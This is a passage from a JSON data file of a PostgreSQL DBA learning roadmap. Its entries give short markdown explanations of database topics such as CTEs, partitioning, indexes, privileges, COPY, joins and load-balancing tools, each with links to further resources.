    "content": "# Consul - an introduction in the context of load balancing\n\nConsul is a distributed, highly-available, and multi-datacenter aware service discovery and configuration tool developed by HashiCorp. It can be used to implement load balancing in a PostgreSQL cluster to distribute client connections and queries evenly across multiple backend nodes.\n\nConsul uses a consensus protocol for leader election and ensures that only one server acts as a leader at any given time. This leader automatically takes over upon leader failure or shutdown, making the system resilient to outages. It provides a range of services like service discovery, health checking, key-value storage, and DNS services.\n\nLearn more from the following resources:\n\n- [@official@Consul by Hashicorp](https://www.consul.io/)\n- [@opensource@hashicorp/consul](https://github.com/hashicorp/consul)\n- [@article@What is Consul?](https://developer.hashicorp.com/consul/docs/intro)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/core-dumps@-CIezYPHTcXJF_p4T55-c.md",
    "content": "# Core Dumps\n\nA core dump is a file that contains the memory image of a running process and its process status. It's typically generated when a program crashes or encounters an unrecoverable error, allowing developers to analyze the state of the program at the time of the crash. In the context of PostgreSQL, core dumps can help diagnose and fix issues with the database system.\n\nLearn more from the following resources:\n\n- [@article@Core Dump](https://wiki.archlinux.org/title/Core_dump)\n- [@article@Enabling Core Dumps](https://wiki.postgresql.org/wiki/Getting_a_stack_trace_of_a_running_PostgreSQL_backend_on_Linux/BSD#Enabling_core_dumps)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/cte@fsZvmH210bC_3dBD_X8-z.md",
    "content": "# Common Table Expressions (CTEs)\n\nA Common Table Expression, also known as CTE, is a named temporary result set that can be referenced within a `SELECT`, `INSERT`, `UPDATE`, or `DELETE` statement. CTEs are particularly helpful when dealing with complex queries, as they enable you to break down the query into smaller, more readable chunks. Recursive CTEs are helpful when working with hierarchical or tree-structured data.\n\nLearn more from the following resources:\n\n- [@official@Common Table Expressions](https://www.postgresql.org/docs/current/queries-with.html)\n- [@article@PostgreSQL CTEs](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-cte/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/data-partitioning@OiGRtLsc28Tv35vIut6B6.md",
    "content": "# Data Partitioning\n\nData partitioning is a technique that divides a large table into smaller, more manageable pieces called partitions. Each partition is a smaller table that stores a subset of the data, usually based on specific criteria such as ranges, lists, or hashes. Partitioning can improve query performance, simplifies data maintenance tasks, and optimizes resource utilization.\n\nLearn more from the following resources:\n\n- [@official@Table Partitioning](https://www.postgresql.org/docs/current/ddl-partitioning.html)\n- [@article@How to use Table Partitioning to Scale PostgreSQL](https://www.enterprisedb.com/postgres-tutorials/how-use-table-partitioning-scale-postgresql)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/data-types@4Pw7udOMIsiaKr7w9CRxc.md",
    "content": "# Data Types in PostgreSQL\n\nPostgreSQL offers a rich and diverse set of data types, catering to a wide range of applications and ensuring data integrity and performance. These include standard numeric types such as integers, floating-point numbers, and serial types for auto-incrementing fields. Character types like `VARCHAR` and `TEXT` handle varying lengths of text, while DATE, TIME, and TIMESTAMP support a variety of temporal data requirements. PostgreSQL also supports a comprehensive set of Boolean, enumerated (ENUM), and composite types, enabling more complex data structures. Additionally, it excels with its support for JSON and JSONB data types, allowing for efficient storage and querying of semi-structured data. The inclusion of array types, geometric data types, and the PostGIS extension for geographic data further extends PostgreSQL's versatility, making it a powerful tool for a broad spectrum of data management needs.\n\nLearn more from the following resources:\n\n- [@official@Data Types](https://www.postgresql.org/docs/current/datatype.html)\n- [@article@Introduction to PostgreSQL DataTypes](https://www.prisma.io/dataguide/postgresql/introduction-to-data-types)\n- [@article@PostgreSQL® Data Types: Mappings to SQL, JDBC, and Java Data Types](https://www.instaclustr.com/blog/postgresql-data-types-mappings-to-sql-jdbc-and-java-data-types/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/data-types@fvEgtFP7xvkq_D4hYw3gz.md",
    "content": "# Data Types in PostgreSQL\n\nPostgreSQL offers a comprehensive set of data types to cater to diverse data needs, including numeric types like `INTEGER`, `FLOAT`, and `SERIAL` for auto-incrementing fields; character types such as `VARCHAR` and `TEXT` for variable-length text; and temporal types like `DATE`, `TIME`, and `TIMESTAMP` for handling date and time data. Additionally, PostgreSQL supports `BOOLEAN` for true/false values, `ENUM` for enumerated lists, and composite types for complex structures. It also excels with `JSON` and `JSONB` for storing and querying semi-structured data, arrays for storing multiple values in a single field, and geometric types for spatial data. These data types ensure flexibility and robust data management for various applications.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL® Data Types: Mappings to SQL, JDBC, and Java Data Types](https://www.instaclustr.com/blog/postgresql-data-types-mappings-to-sql-jdbc-and-java-data-types/)\n- [@official@Data Types](https://www.postgresql.org/docs/current/datatype.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/databases@DU-D3-j9h6i9Nj5ci8hlX.md",
    "content": "# Databases in PostgreSQL\n\nIn PostgreSQL, a database is a named collection of tables, indexes, views, stored procedures, and other database objects. Each PostgreSQL server can manage multiple databases, enabling the separation and organization of data sets for various applications, projects, or users.\n\nLearn more from the following resources:\n\n- [@official@Managing Databases](https://www.postgresql.org/docs/current/managing-databases.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/default-privileges@t18XjeHP4uRyERdqhHpl5.md",
    "content": "# Default Privileges in PostgreSQL\n\nPostgreSQL allows you to define object privileges for various types of database objects. These privileges determine if a user can access and manipulate objects like tables, views, sequences, or functions. In this section, we will focus on understanding default privileges in PostgreSQL.\n\nLearn more from the following resources:\n\n- [@official@ALTER DEFAULT PRIVILEGES](https://www.postgresql.org/docs/current/sql-alterdefaultprivileges.html)\n- [@official@Privileges](https://www.postgresql.org/docs/current/ddl-priv.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/depesz@rVlncpLO20WK6mjyqLerL.md",
    "content": "# Depesz: A Tool for Query Analysis\n\n\"Depesz\" is a popular, online query analysis tool for PostgreSQL, named after Hubert \"depesz\" Lubaczewski, the creator of the tool. It helps you understand and analyze the output of `EXPLAIN ANALYZE`, a powerful command in PostgreSQL for examining and optimizing your queries. Depesz is often used to simplify the query analysis process, as it offers valuable insights into the performance of your SQL queries and aids in tuning them for better efficiency.\n\nLearn more from the following resources:\n\n- [@official@Depesz Website](https://www.depesz.com/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/deployment-in-cloud@6SCcxpkpLmmRe0rS8WAPZ.md",
    "content": "# Deployment in Cloud\n\nIn this section, we will discuss deploying PostgreSQL in the cloud. Deploying your PostgreSQL database in the cloud offers significant advantages such as scalability, flexibility, high availability, and cost reduction. There are several cloud providers that offer PostgreSQL as a service, which means you can quickly set up and manage your databases without having to worry about underlying infrastructure, backups, and security measures.\n\nLearn more from the following resources:\n\n- [@article@5 Ways to Host PostgreSQL Databases](https://www.prisma.io/dataguide/postgresql/5-ways-to-host-postgresql)\n- [@article@Postgres On Kubernetes](https://cloudnative-pg.io/)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/domains@-LuxJvI5IaOx6NqzK0d8S.md",
    "content": "# Domains in PostgreSQL\n\nDomains in PostgreSQL are essentially user-defined data types that can be created using the `CREATE DOMAIN` command. These custom data types allow you to apply constraints and validation rules to columns in your tables by defining a set of values that are valid for a particular attribute or field. This ensures consistency and data integrity within your relational database.\n\nTo create a custom domain, you need to define a name for your domain, specify its underlying data type, and set any constraints or default values you want to apply. Domains in PostgreSQL are a great way to enforce data integrity and consistency in your relational database. They allow you to create custom data types based on existing data types with added constraints, default values, and validation rules. By using domains, you can streamline your database schema and ensure that your data complies with your business rules or requirements.\n\nLearn more from the following resources:\n\n- [@official@CREATE DOMAIN](https://www.postgresql.org/docs/current/sql-createdomain.html)\n- [@official@Domain Types](https://www.postgresql.org/docs/current/domains.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/ebpf@QarPFu_wU6-F9P5YHo6CO.md",
    "content": "# eBPF (Extended Berkeley Packet Filter)\n\neBPF is a powerful Linux kernel technology used for tracing and profiling various system components such as processes, filesystems, network connections, and more. It has gained enormous popularity among developers and administrators because of its ability to offer deep insights into the system's behavior, performance, and resource usage at runtime. In the context of profiling PostgreSQL, eBPF can provide valuable information about query execution, system calls, and resource consumption patterns.\n\nLearn more from the following resources:\n\n- [@article@What is eBPF? (Extended Berkeley Packet Filter)](https://www.kentik.com/kentipedia/what-is-ebpf-extended-berkeley-packet-filter/)\n- [@article@What is Extended Berkeley Packet Filter (eBPF)](https://www.sentinelone.com/cybersecurity-101/what-is-extended-berkeley-packet-filter-ebpf/)\n- [@video@Introduction to eBPF](https://www.youtube.com/watch?v=qXFi-G_7IuU)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/etcd@kCw6oEVGdKokCz4wYizIT.md",
    "content": "# Etcd\n\nEtcd is a distributed key-value store that provides an efficient and reliable means for storing crucial data across clustered environments. It has become popular as a fundamental component for storing configuration data and service discovery in distributed systems.\n\nEtcd can be utilized in conjunction with _connection poolers_ such as PgBouncer or HAProxy to improve PostgreSQL load balancing. By maintaining a list of active PostgreSQL servers' IP addresses and ports as keys in the store, connection poolers can fetch this information periodically to route client connections to the right servers. Additionally, transactional operations on the store can simplify the process of adding or removing nodes from the load balancer configuration while maintaining consistency.\n\nLearn more from the following resources:\n\n- [@opensource@PostgreSQL High Availability with Etcd](https://github.com/patroni/patroni)\n- [@video@PostgreSQL High Availability](https://www.youtube.com/watch?v=J0ErkLo2b1E)\n- [@articles@etcd vs PostgreSQL](https://api7.ai/blog/etcd-vs-postgresql)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/explain@n2OjwxzIHnATraRWi5Ddl.md",
    "content": "# Query Analysis: EXPLAIN in PostgreSQL\n\nUnderstanding the performance and efficiency of your queries is crucial when working with databases. In PostgreSQL, the `EXPLAIN` command helps to analyze and optimize your queries by providing insights into the query execution plan. This command allows you to discover bottlenecks, inefficient table scans, improper indexing, and other issues that may impact your query performance.\n\n`EXPLAIN` generates a query execution plan without actually executing the query. It shows the nodes in the plan tree, the order in which they will be executed, and the estimated cost of each operation.\n\nLearn more from the following resources:\n\n- [@official@Using EXPLAIN](https://www.postgresql.org/docs/current/using-explain.html)\n- [@article@PostgreSQL EXPLAIN](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-explain/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/explaindalibocom@UZ1vRFRjiQAVu6BygqwEL.md",
    "content": "# explain.dalibo.com\n\nexplain.dalibo.com is a free service that allows you to analyze the execution plan of your queries. It is based on the explain.depesz.com service.\n\nLearn more from the following resources:\n\n- [@official@explain.dalibo.com](https://explain.dalibo.com/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/filtering-data@dd2lTNsNzYdfB7rRFMNmC.md",
    "content": "# Filtering Data in PostgreSQL\n\nFiltering data is an essential feature in any database management system, and PostgreSQL is no exception. When we refer to filtering data, we're talking about selecting a particular subset of data that fulfills specific criteria or conditions. In PostgreSQL, we use the **WHERE** clause to filter data in a query based on specific conditions.\n\nLearn more from the following resources:\n\n- [@article@How to Filter Query Results in PostgreSQL](https://www.prisma.io/dataguide/postgresql/reading-and-querying-data/filtering-data)\n- [@article@Using PostgreSQL FILTER](https://www.crunchydata.com/blog/using-postgres-filter)\n- [@article@PostgreSQL - WHERE](https://www.w3schools.com/postgresql/postgresql_where.php)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/for-schemas@KMdF9efNGULualk5o1W0_.md",
    "content": "# Schemas in PostgreSQL\n\nA schema is a logical collection of database objects within a PostgreSQL database. It behaves like a namespace that allows you to group and isolate your database objects separately from other schemas. The primary goal of a schema is to organize your database structure, making it easier to manage and maintain. By default, every PostgreSQL database has a `public` schema, which is the default search path for any unqualified table or other database object.\n\nLearn more from the following resources:\n\n- [@official@Schemas](https://www.postgresql.org/docs/current/ddl-schemas.html)\n- [@article@PostgreSQL Schema](https://hasura.io/learn/database/postgresql/core-concepts/1-postgresql-schema/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/fortables@ga8ZiuPc42XvZ3-iVh8T1.md",
    "content": "# For Tables in PostgreSQL\n\nThe primary DDL statements for creating and managing tables in PostgreSQL include `CREATE TABLE`, `ALTER TABLE`, and `DROP TABLE`, these DDL commands allow you to create, modify, and delete tables and their structures, providing a robust framework for database schema management in PostgreSQL.\n\nLearn more from the following resources:\n\n- [@official@CREATE TABLE](https://www.postgresql.org/docs/current/sql-createtable.html)\n- [@official@DROP TABLE](https://www.postgresql.org/docs/current/sql-droptable.html)\n- [@official@ALTER TABLE](https://www.postgresql.org/docs/current/sql-altertable.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/gdb@yIdUhfE2ZTQhDAdQsXrnH.md",
    "content": "# GDB (GNU Debugger)\n\nGDB, the GNU Debugger, is a powerful debugging tool that provides inspection and modification features for applications written in various programming languages, including C, C++, and Fortran. GDB can be used alongside PostgreSQL for investigating backend processes and identifying potential issues that might not be apparent at the application level.\n\nLearn more from the following resources:\n\n- [@official@GDB](https://sourceware.org/gdb/)\n- [@article@Learn how to use GDB](https://opensource.com/article/21/3/debug-code-gdb)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/get-involved-in-development@NhodBD8myUTljNdn3y40I.md",
    "content": "# Get Involved in Development\n\nPostgreSQL is an open-source database system developed by a large and active community. By getting involved in the development process, you can help contribute to its growth, learn new skills, and collaborate with other developers around the world. In this section, we'll discuss some ways for you to participate in the PostgreSQL development community.\n\n## Join Mailing Lists and Online Forums\n\nJoin various PostgreSQL mailing lists, such as the general discussion list (_pgsql-general_), the development list (_pgsql-hackers_), or other specialized lists to stay up-to-date on discussions related to the project. You can also participate in PostgreSQL-related forums, like Stack Overflow or Reddit, to engage with fellow developers, ask questions, and provide assistance to others.\n\n## Bug Reporting and Testing\n\nReporting bugs and testing new features are invaluable contributions to improving the quality and stability of PostgreSQL. Before submitting a bug report, make sure to search the official bug tracking system to see if the issue has already been addressed. Additionally, consider testing patches submitted by other developers or contributing tests for new features or functionalities.\n\n## Contribute Code\n\nContributing code can range from fixing small bugs or optimizing existing features, to adding entirely new functionalities. To start contributing to the PostgreSQL source code, you'll need to familiarize yourself with the [PostgreSQL coding standards](https://www.postgresql.org/docs/current/source.html) and submit your changes as patches through the PostgreSQL mailing list. Make sure to follow the [patch submission guidelines](https://wiki.postgresql.org/wiki/Submitting_a_Patch) to ensure that your contributions are properly reviewed and considered.\n\n## Documentation and Translations\n\nImproving and expanding the official PostgreSQL documentation is crucial for providing accurate and up-to-date information to users. If you have expertise in a particular area, you can help by updating the documentation. Additionally, translating the documentation or interface messages into other languages can help expand the PostgreSQL community by providing resources for non-English speakers.\n\n## Offer Support and Help Others\n\nBy helping others in the community, you not only contribute to the overall growth and development of PostgreSQL but also develop your own knowledge and expertise. Participate in online discussions, answer questions, conduct workshops or webinars, and share your experiences and knowledge to help others overcome challenges they may be facing.\n\n## Advocate for PostgreSQL\n\nPromoting and advocating for PostgreSQL in your organization and network can help increase its adoption and visibility. Share your success stories, give talks at conferences, write blog posts, or create tutorials to help encourage more people to explore PostgreSQL as a go-to solution for their database needs.\n\nRemember, the PostgreSQL community thrives on the input and dedication of its members, so don't hesitate to get involved and contribute. Every contribution, no matter how small, can have a positive impact on the project and create a more robust and powerful database system for everyone."
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/gin@FJhJyDWOj9w_Rd_uKcouT.md",
    "content": "# GIN (Generalized Inverted Index)\n\nGeneralized Inverted Index (GIN) is a powerful indexing method in PostgreSQL that can be used for complex data types such as arrays, text search, and more. GIN provides better search capabilities for non-traditional data types, while also offering efficient and flexible querying.\n\nLearn more from the following resources:\n\n- [@official@GIN Introduction](https://www.postgresql.org/docs/current/gin-intro.html)\n- [@article@Generalized Inverted Indexes](https://www.cockroachlabs.com/docs/stable/inverted-indexes)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/gist@2chGkn5Y_WTjYllpgL0LJ.md",
    "content": "# GIST Indexes\n\nThe Generalized Search Tree (GiST) is a powerful and flexible index type in PostgreSQL that serves as a framework to implement different indexing strategies. GiST provides a generic infrastructure for building custom indexes, extending the core capabilities of PostgreSQL. This powerful indexing framework allows you to extend PostgreSQL's built-in capabilities, creating custom indexing strategies aligned with your specific requirements.\n\nLearn more from the following resources:\n\n- [@official@GIST Indexes](https://www.postgresql.org/docs/8.1/gist.html)\n- [@article@Generalized Search Trees for Database Systems](https://www.vldb.org/conf/1995/P562.PDF)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/golden-signals@oX-bdPPjaHJnQKgUhDSF2.md",
    "content": "# Golden Signals\n\nGolden Signals are a set of metrics that help monitor application performance and health, particularly in distributed systems. These metrics are derived from Google's Site Reliability Engineering (SRE) practices and can be easily applied to PostgreSQL troubleshooting methods. By monitoring these four key signals – latency, traffic, errors, and saturation – you can gain a better understanding of your PostgreSQL database's overall performance and health, as well as quickly identify potential issues.\n\nLearn more from the following resources:\n\n- [@article@The Four Golden Signals](https://sre.google/sre-book/monitoring-distributed-systems/#xref_monitoring_golden-signals)\n- [@article@4 SRE Golden Signals (What they are and why they matter)](https://www.blameless.com/blog/4-sre-golden-signals-what-they-are-and-why-they-matter)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/grant--revoke@o1WSsw-ZIaAb8JF3P0mfR.md",
    "content": "# Grant and Revoke Privileges in PostgreSQL\n\nOne of the most important aspects of database management is providing appropriate access permissions to users. In PostgreSQL, this can be achieved with the `GRANT` and `REVOKE` commands, which allow you to manage the privileges of database objects such as tables, sequences, functions, and schemas. \n\nLearn more from the following resources:\n\n- [@official@GRANT](https://www.postgresql.org/docs/current/sql-grant.html)\n- [@official@REVOKE](https://www.postgresql.org/docs/current/sql-revoke.html)\n- [@article@PostgreSQL GRANT statement](https://www.postgresqltutorial.com/postgresql-administration/postgresql-grant/)\n- [@article@PostgreSQL REVOKE statement](https://www.postgresqltutorial.com/postgresql-administration/postgresql-revoke/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/grep@cFtrSgboZRJ3Q63eaqEBf.md",
    "content": "# Grep Command in Log Analysis\n\nGrep is a powerful command-line tool used for searching plain-text data sets against specific patterns. It was originally developed for the Unix operating system and has since become available on almost every platform. When analyzing PostgreSQL logs, you may find the `grep` command an incredibly useful resource for quickly finding specific entries or messages.\n\nLearn more from the following resources:\n\n- [@article@grep command in Linux/Unix](https://www.digitalocean.com/community/tutorials/grep-command-in-linux-unix)\n- [@article@Use the Grep Command](https://docs.rackspace.com/docs/use-the-linux-grep-command)\n- [@video@Tutorial - grep: A Practical Guide](https://www.youtube.com/watch?v=crFZOrqlqao)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/grouping@uwd_CaeHQQ3ZWojbmtbPh.md",
    "content": "# Grouping\n\nGrouping is a powerful technique in SQL that allows you to organize and aggregate data based on common values in one or more columns. The `GROUP BY` clause is used to create groups, and the `HAVING` clause is used to filter the group based on certain conditions.\n\nLearn more from the following resources:\n\n- [@official@PostgreSQL GROUP BY CLAUSE](https://www.postgresql.org/docs/current/sql-select.html#SQL-GROUPBY)\n- [@article@PostgreSQL GROUP BY](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-group-by/)\n- [@article@PostgreSQL - GROUP BY](https://www.tutorialspoint.com/postgresql/postgresql_group_by.htm)\n- [@article@PostgreSQL - HAVING](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-having/)\n- [@video@PostgreSQL Group BY](https://www.youtube.com/watch?v=SI-bPx4jaGc)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/haproxy@V8_zJRwOX9664bUvAGgff.md",
    "content": "# HAProxy\n\nHAProxy, short for High Availability Proxy, is a popular open-source software used to provide high availability, load balancing, and proxying features for TCP and HTTP-based applications. It is commonly used to improve the performance, security, and reliability of web applications, databases, and other services. When it comes to load balancing in PostgreSQL, HAProxy is a popular choice due to its flexibility and efficient performance. By distributing incoming database connections across multiple instances of your PostgreSQL cluster, HAProxy can help you achieve better performance, high availability, and fault tolerance.\n\nLearn more from the following resources:\n\n- [@official@HAProxy Website](https://www.haproxy.org/)\n- [@article@An Introduction to HAProxy and Load Balancing Concepts](https://www.digitalocean.com/community/tutorials/an-introduction-to-haproxy-and-load-balancing-concepts)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/hash@2yWYyXt1uLOdQg4YsgdVq.md",
    "content": "# Hash Indexes\n\nHash Indexes are a type of database index that uses a hash function to map each row's key value into a fixed-length hashed key. The purpose of using a hash index is to enable quicker search operations by converting the key values into a more compact and easily searchable format.\n\nLearn more from the following resources:\n\n- [@official@Hash](https://www.postgresql.org/docs/current/indexes-types.html#INDEXES-TYPES-HASH)\n- [@article@Re-Introducing Hash Indexes in PostgreSQL](https://hakibenita.com/postgresql-hash-index)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/helm@QHbdwiMQ8otxnVIUVV2NT.md",
    "content": "# Helm - Package Manager for Kubernetes\n\nHelm is a popular package manager for Kubernetes that allows you to easily deploy, manage, and upgrade applications on your Kubernetes cluster. In the Kubernetes world, Helm plays a similar role as \"apt\" or \"yum\" in the Linux ecosystem.\n\nHelm streamlines the installation process by providing ready-to-use packages called \"charts\". A Helm chart is a collection of YAML files, templates, and manifests, that describe an application's required resources and configurations.\n\nLearn more from the following resources:\n\n- [@official@Helm Website](https://helm.sh/)\n- [@opensource@helm/helm](https://github.com/helm/helm)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/high-level-database-concepts@_BSR2mo1lyXEFXbKYb1ZG.md",
    "content": "# High Level Database Concepts\n\nHigh-level database concepts encompass fundamental principles that underpin the design, implementation, and management of database systems. These concepts form the foundation of effective database management, enabling the design of robust, efficient, and scalable systems.\n\nVisit the following resources to learn more:\n\n- [@article@Demystifying PostgreSQL: 10 Crucial Concepts and Files](https://medium.com/@RohitAjaygupta/demystifying-postgresql-10-crucial-concepts-and-files-explained-with-practical-examples-a5a70cd2b848)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/htap@rHDlm78yroRrrAAcabEAl.md",
    "content": "# HTAP\n\nHybrid Transactional/Analytical Processing (HTAP) in PostgreSQL refers to a database system's ability to efficiently handle both Online Transaction Processing (OLTP) and Online Analytical Processing (OLAP) workloads simultaneously. PostgreSQL achieves this through its robust architecture, which supports ACID transactions for OLTP and advanced analytical capabilities for OLAP. Key features include Multi-Version Concurrency Control (MVCC) for high concurrency, partitioning and parallel query execution for performance optimization, and extensions like PL/pgSQL for complex analytics. PostgreSQL's ability to manage transactional and analytical tasks in a unified system reduces data latency and improves real-time decision-making, making it an effective platform for HTAP applications.\n\nLearn more from the following resources:\n\n- [@article@HTAP: Hybrid Transactional and Analytical Processing](https://www.snowflake.com/guides/htap-hybrid-transactional-and-analytical-processing/)\n- [@article@What is HTAP?](https://planetscale.com/blog/what-is-htap)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/import--export-using-copy@umNNMpJh4Al1dEpT6YkrA.md",
    "content": "# Import and Export using COPY\n\nIn PostgreSQL, one of the fastest and most efficient ways to import and export data is by using the `COPY` command. The `COPY` command allows you to import data from a file, or to export data to a file from a table or a query result.\n\nIf you can't use the `COPY` command due to lack of privileges, consider using the `\\copy` command in the `psql` client instead, which works similarly, but runs as the current user rather than the PostgreSQL server.\n\nLearn more from the following resources:\n\n- [@official@COPY](https://www.postgresql.org/docs/current/sql-copy.html)\n- [@article@Copying Data Between Tables in PostgreSQL](https://www.atlassian.com/data/sql/copying-data-between-tables)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/indexes-and-their-usecases@Dhhyg23dBMyAKCFwZmu71.md",
    "content": "# Indexes Use Cases\n\nIndexes in PostgreSQL improve query performance by allowing faster data retrieval. Common use cases include:\n\n- Primary and Unique Keys: Ensure fast access to rows based on unique identifiers.\n- Foreign Keys: Speed up joins between related tables.\n- Search Queries: Optimize searches on large text fields with full-text search indexes.\n- Range Queries: Improve performance for range-based queries on date, time, or numerical fields.\n- Partial Indexes: Create indexes on a subset of data, useful for frequently queried columns with specific conditions.\n-\tExpression Indexes: Index expressions or functions, enhancing performance for queries involving complex calculations.\n- Composite Indexes: Optimize multi-column searches by indexing multiple fields together.\n- GIN and GiST Indexes: Enhance performance for array, JSONB, and geometric data types."
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/infrastructure-skills@zlqSX0tl7HD9C1yEGkvoM.md",
    "content": "# PostgreSQL Infrastructure Skills\n\nPostgreSQL is an advanced, enterprise-class open-source relational database system that offers excellent performance and reliability. As a database administrator (DBA) or a developer working with PostgreSQL, it is essential to have a strong understanding of the various infrastructure skills required to manage and maintain a PostgreSQL environment effectively.\n\nHaving a solid grasp of these PostgreSQL infrastructure skills will significantly benefit you in your professional endeavors and empower you to manage PostgreSQL environments effectively, be it as a developer or a DBA."
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/installation-and-setup@FtPiBWMFhjakyXsmSL_CI.md",
    "content": "# Installation and Setup of PostgreSQL\n\nTo install and set up PostgreSQL, begin by downloading the installer from the official PostgreSQL website for your operating system (Windows, macOS, or Linux). For Windows, run the installer and follow the prompts to configure components, set a password for the superuser (postgres), and choose the installation directory and port (default is 5432). On macOS, using Homebrew is the recommended method; simply run brew install postgresql in the terminal, then initialize the database with brew services start postgresql. For Linux, use the package manager (APT for Debian/Ubuntu or YUM for CentOS/RHEL) to install PostgreSQL, followed by initializing the database and starting the service. After installation, you can access PostgreSQL using the psql command-line tool to create databases and manage your data effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Installing PostgreSQL](https://www.postgresql.org/download/)\n- [@article@PostgreSQL - Installation](https://www.postgresql.org/docs/current/tutorial-install.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/introduction@lDIy56RyC1XM7IfORsSLD.md",
    "content": "# Introduction to PostgreSQL\n\nPostgreSQL is a powerful, open-source Object-Relational Database Management System (ORDBMS) that is known for its robustness, extensibility, and SQL compliance. It was initially developed at the University of California, Berkeley, in the 1980s and has since become one of the most popular open-source databases in the world.\n\nVisit the following resources to learn more:\n\n- [@official@PostgreSQL](https://www.postgresql.org/)\n- [@official@PostgreSQL Documentation](https://www.postgresql.org/docs/)\n- [@article@History of POSTGRES to PostgreSQL](https://www.postgresql.org/docs/current/history.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/iotop@n8oHT7YwhHhFdU5_7DZ_F.md",
    "content": "# iotop\n\n`iotop` is an essential command-line utility that provides real-time insights into the input/output (I/O) activities of processes running on your system. This tool is particularly useful when monitoring and managing your PostgreSQL database's performance, as it helps system administrators or database developers to identify processes with high I/O, leading to potential bottlenecks or server optimization opportunities.\n\nLearn more from the following resources:\n\n- [@article@Linux iotop Check What’s Stressing & Increasing Load On Hard Disks](https://www.cyberciti.biz/hardware/linux-iotop-simple-top-like-io-monitor/)\n- [@article@iotop man page](https://linux.die.net/man/1/iotop)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/joining-tables@Hura0LImG9pyPxaEIDo3X.md",
    "content": "# Joining Tables\n\nJoining tables is a fundamental operation in the world of databases. It allows you to combine information from multiple tables based on common columns. PostgreSQL provides various types of joins, such as Inner Join, Left Join, Right Join, and Full Outer Join. \n\nLearn more from the following resources:\n\n- [@official@Joins Between Tables](https://www.postgresql.org/docs/current/tutorial-join.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/keepalived@xk2G-HUS-dviNW3BAMmJv.md",
    "content": "# Keepalived\n\nKeepalived is a robust and widely-used open-source solution for load balancing and high availability. It helps to maintain a stable and perfect working environment even in the presence of failures such as server crashes or connectivity issues.\n\nKeepalived achieves this by utilizing the Linux Virtual Server (LVS) module and the Virtual Router Redundancy Protocol (VRRP). For PostgreSQL database systems, Keepalived can be an advantageous addition to your infrastructure by offering fault tolerance and load balancing. With minimal configuration, it distributes read-only queries among multiple replicated PostgreSQL servers or divides transaction processing across various nodes – ensuring an efficient and resilient system.\n\nLearn more from the following resources:\n\n- [@official@Keepalived](https://www.keepalived.org/)\n- [@opensource@acassen/keepalived](https://github.com/acassen/keepalived)\n- [@article@Keepalived: High Availability for Self-hosted Services](https://www.virtualizationhowto.com/2023/09/keepalived-high-availability-for-self-hosted-services/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/lateral-join@fTsoMSLcXU1mgd5-vekbT.md",
    "content": "# Lateral Join in PostgreSQL\n\nLateral join allows you to reference columns from preceding tables in a query, making it possible to perform complex operations that involve correlated subqueries and the application of functions on tables in a cleaner and more effective way. The `LATERAL` keyword in PostgreSQL is used in conjunction with a subquery in the `FROM` clause of a query. It helps you to write more concise and powerful queries, as it allows the subquery to reference columns from preceding tables in the query.\n\nLearn more from the following resources:\n\n- [@official@LATERAL Subqueries](https://www.postgresql.org/docs/current/queries-table-expressions.html#QUERIES-LATERAL)\n- [@article@How to use lateral join in PostgreSQL](https://popsql.com/learn-sql/postgresql/how-to-use-lateral-joins-in-postgresql)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/learn-sql@ANUgfkADLI_du7iRvnUdi.md",
    "content": "# Learn SQL Concepts\n\nSQL stands for Structured Query Language. It is a standardized programming language designed to manage and interact with relational database management systems (RDBMS). SQL allows you to create, read, edit, and delete data stored in database tables by writing specific queries.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Tutorial - Essential SQL For The Beginners](https://www.sqltutorial.org/)\n"
  },
  {
